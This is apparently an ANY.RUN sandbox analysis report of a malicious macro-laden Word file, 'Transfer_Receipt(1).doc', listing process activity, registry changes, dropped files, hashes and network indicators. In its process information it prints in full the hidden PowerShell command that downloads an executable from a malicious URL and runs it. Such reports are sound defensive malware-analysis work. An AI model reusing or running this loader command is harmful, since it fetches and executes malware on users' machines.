File name:

Transfer_Receipt(1).doc

Full analysis: https://app.any.run/tasks/23f5ed79-8be4-4025-93dc-bf980be7136f
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 15, 2019, 01:54:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: o92f1c2, Subject: ed4d8, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 11:28:00 2019, Last Saved Time/Date: Thu Mar 14 11:28:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

3FA939502EA7760E32936E61A19DF5BF

SHA1:

7393A01E8D1FFE6DCE4BD604905A1DAE11C0CD5C

SHA256:

9CAAD8A4C1E9B5A9BD3B8994F711FBA6B407464887C961C0B3E1A61EBA3C6358

SSDEEP:

768:J3yQKhjLl9z/eQ7mUtbr7lRt2PgnMrRaBqUpkmLc:ZydjLl9z/eQ7mUtbrp4trRaFnc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • a4591b.exe (PID: 2556)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2752)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2968)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2752)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2968)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2968)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2752)
    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2968)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (38.3)
.xls | Microsoft Excel sheet (alternate) (29.3)
.doc | Microsoft Word document (old ver.) (22.7)

EXIF

FlashPix

Title: o92f1c2
Subject: ed4d8
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:03:14 11:28:00
ModifyDate: 2019:03:14 11:28:00
Pages: 1
Words: -
Characters: -
Security: None
CodePage: Windows Latin 1 (Western European)
Bytes: 11000
Lines: -
Paragraphs: -
CharCountWithSpaces: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: o92f1c2
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
33
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe a4591b.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2556"C:\Users\admin\AppData\Roaming\a4591b.exe" C:\Users\admin\AppData\Roaming\a4591b.exepowershell.exe
User:
admin
Company:
ASSET PORTFOLIO SERVICING ROMANIA SRL
Integrity Level:
MEDIUM
Description:
Outlook Express Backup plugin
Exit code:
0
Version:
5.7.27.4
Modules
Images
c:\users\admin\appdata\roaming\a4591b.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
2752"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Downloads\Transfer_Receipt(1).doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2968"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $n4d8fd = $env:APPDATA; $x27cd = $n4d8fd + '\\a4591b.exe'; If (test-path $x27cd) {Remove-Item $x27cd}; $h29787 = New-Object System.Net.WebClient; $h29787.Headers['User-Agent'] = 'h29787'; $h29787.DownloadFile('http://mentor.in/good/LED.exe', $x27cd); Start-Process -Filepath $x27cd; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 819
Read events
1 401
Write events
406
Delete events
12

Modification events

(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:4k$
Value:
346B2400C00A0000010000000000000000000000
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2752) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315897374
(PID) Process:(2752) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897488
(PID) Process:(2752) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897489
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
C00A0000C08A2624D2DAD40100000000
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:jm$
Value:
6A6D2400C00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:jm$
Value:
6A6D2400C00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2752) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR87B4.tmp.cvr
MD5:
SHA256:
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\POXW4EDNHO8M2O80SG2H.temp
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFDE9738F29852A506.TMP
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DCD3699E-722F-4FA5-B3C0-39F92F2E5623}.tmp
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0F986474-99CF-4613-823E-0503F0F01381}.tmp
MD5:
SHA256:
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1994c4.TMPbinary
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\Downloads\~$ansfer_Receipt(1).docpgc
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Transfer_Receipt(1).doc.LNKlnk
MD5:
SHA256:
2752WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2968
powershell.exe
GET
200
208.86.157.246:80
http://mentor.in/good/LED.exe
US
executable
403 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2968
powershell.exe
208.86.157.246:80
mentor.in
Liquid Web, L.L.C
US
malicious

DNS requests

Domain
IP
Reputation
mentor.in
  • 208.86.157.246
malicious

Threats

PID
Process
Class
Message
2968
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
No debug info